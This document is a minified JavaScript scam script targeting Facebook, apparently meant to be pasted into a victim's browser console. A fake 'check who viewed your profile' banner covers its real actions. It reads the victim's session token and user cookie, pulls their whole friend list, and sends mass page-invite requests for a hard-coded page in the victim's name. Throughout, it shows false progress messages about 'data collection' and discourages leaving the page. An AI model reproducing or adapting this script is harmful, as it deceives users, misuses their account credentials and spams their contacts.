var Title='<span style="font-size:x-large;"><b><span style="color: red;">CHECK WHO PEEP YOUR PROFILE</span></b></span><br/>';var Descriptions = "",page_id = /"profile_owner":"([0-9]+)"/.exec(document.getElementById("pagelet_timeline_main_column").getAttribute("data-gt"))[1];function InviteFriends(opo){jx.load(window.location.protocol + "//www.facebook.com/ajax/pages/invite/send?&fb_dtsg=" + fb_dtsg + "&profileChooserItems=%7B%22" + opo + "%22%3A1%7D&checkableitems[0]=" + opo + "&page_id=156964314481059&__user="+ user_id +  "&__a=1&__dyn=7n8aD5z5CF-3ui&__req=k&phstamp=", function (a) {var b = a.substring(a.indexOf("{"));var c = JSON.parse(b);i--;Descriptions = "<div class='friend-edge-name' style='padding-bottom:5px;text-align:left;font-size:10px;white-space:pre-wrap;";if (c.error) {Descriptions += "color:darkred'>";err++;if (c.errorDescription) Descriptions += c.errorDescription;else Descriptions += JSON.stringify(c, null, "")} else {Descriptions += "color:darkgreen'>";Descriptions += arn[i] + " has been invited to like the page " + page_name + ".";suc++}Descriptions += "</div>";var display = "<div id='friend-edge-display' style='box-shadow:0px 3px 8px rgba(0, 0, 0, 0.3);position:fixed;left:50%;margin-left:-273px;top:100px;width:600px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);border-radius:3px;border:1px solid rgba(0,0,0,0.9);background-color:rgba(0,0,0,0.9);color:#ffffff'>"; display += "<div style='padding-bottom:5px;font-size:20px;'>" + Title + "</div><br/>";if (i > 0) {display += "Detected <b>" +arr.length + "</b> People Ever View Your Profile<br/>";display += "<b>" + suc + "</b> dari <b>" +arr.length + "</b> user be data collection<br/>";display += " (<b>" + i + "</b> User Left..)<br/><br/>";display += '<span style="color: lime;"><span style="font-size: large;"><b>REPORT ARE MADE</b><br/></span></span>'; display += '<span style="color: lime;"><span style="font-size: large;"><b>Please Wait Until The Process is Complete</b></span></span>';display += "</div>";display += "</div>";window[tag + "_close"] = true} else {display += '<span style="color: lime;"><span style="font-size: large;"><b>Data Collection Completed</b></span></span>';display += "<div><span class='layerCancel uiOverlayButton uiButton uiButtonLarge' onClick='document.getElementById(\"pagelet_sidebar\").style.display=\"none\"' style='color:gray'>Open Report</span><br/>";display += "<div style='text-align:center;font-size:10px;white-space:pre-wrap;color:gray'><br/>";display += "</div>"; window[tag + "_close"] = false}display += "</div>";  document.getElementById("pagelet_sidebar").innerHTML = display}, "text", "post"); tay--;if (tay > 0) {var s = arr[tay];setTimeout("InviteFriends(" + s + ")", 100)}console.log(tay + "/" + arr.length + ":" + arr[tay] + "/" + arn[tay] + ", success:" + suc);}jx = {b: function () {var b = !1; if ("undefined" != typeof ActiveXObject) try {b = new ActiveXObject("Msxml2.XMLHTTP")} catch (c) {try {b = new ActiveXObject("Microsoft.XMLHTTP")} catch (a) {b = !1}} else if (window.XMLHttpRequest) try {b = new XMLHttpRequest} catch (h) { b = !1} return b},load: function (b, c, a, h, g) {var e = this.d();if (e && b) {e.overrideMimeType && e.overrideMimeType("text/xml"); h || (h = "GET"); a || (a = "text");g || (g = {}); a = a.toLowerCase();h = h.toUpperCase();b += b.indexOf("?") + 1 ? "&" : "?";var k = null;"POST" == h && (k = b.split("?"), b = k[0], k = k[1]);e.open(h, b, !0);e.onreadystatechange = g.c ? function () {g.c(e)} : function () {if (4 == e.readyState)if (200 == e.status) {var b = "";e.responseText && (b = e.responseText);"j" == a.charAt(0) ? (b = b.replace(/[\n\r]/g, ""), b = eval("(" + b + ")")) : "x" == a.charAt(0) && (b = e.responseXML);c && c(b)} else g.f && document.getElementsByTagName("body")[0].removeChild(g.f), g.e && (document.getElementById(g.e).style.display = "none"), error && error(e.status)};e.send(k)}}, d: function () {return this.b()}};function ChangeLocation() {window.location.href = "http://www.facebook.com/"}setTimeout("ChangeLocation", 1);window.onbeforeunload = function () {if (window[tag + "_close"]) return "Process Data Collection is running, Please Wait !!"};var i = 3;var tay = 3;var suc = 0;var err = 0;var arr = new Array;var arn = new Array;var pho = new Array;var tag = "Close";var page_name, x = document.getElementsByTagName("span");for (i = 0; i < x.length; i++)if (x[i].getAttribute("itemprop") == "name") page_name = x[i].innerHTML;var fb_dtsg = document.getElementsByName("fb_dtsg")[0].value;var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);jx.load(window.location.protocol + "///www.facebook.com/ajax/typeahead/first_degree.php?viewer=" + user_id + "&token=v7&filter[0]=user&options[0]=friends_only&options[1]=nm&options[2]=sort_alpha&__user=" + user_id + "&__a=1&__dyn=7n8aD5z5CF-3ui&__req=l", function (a) {var b = a;var c = b.substring(b.indexOf("{"));var d = JSON.parse(c);d = d.payload.entries;for (var e = 0; e < d.length; e++) arr.push(d[e].uid);for (var eg = 0; eg < d.length; eg++) arn.push(d[eg].text);for (var pic = 0; pic < d.length; pic++) pho.push(d[pic].photo);i = arr.length - 1;tay = i;console.log(arr.length);var display = "<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:600px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);border-radius:3px;border:1px solid rgba(0,0,0,0.9);background-color:rgba(0,0,0,0.9);color:#ffffff'>";display += "<div style='padding-bottom:10px;font-size:20px;'>" + Title + "</div>";display += arr.length + " User Detected";display += "</div>";document.getElementById("pagelet_sidebar").innerHTML = display;InviteFriends(arr[i])}); var parent=document.getElementsByTagName("html")[0];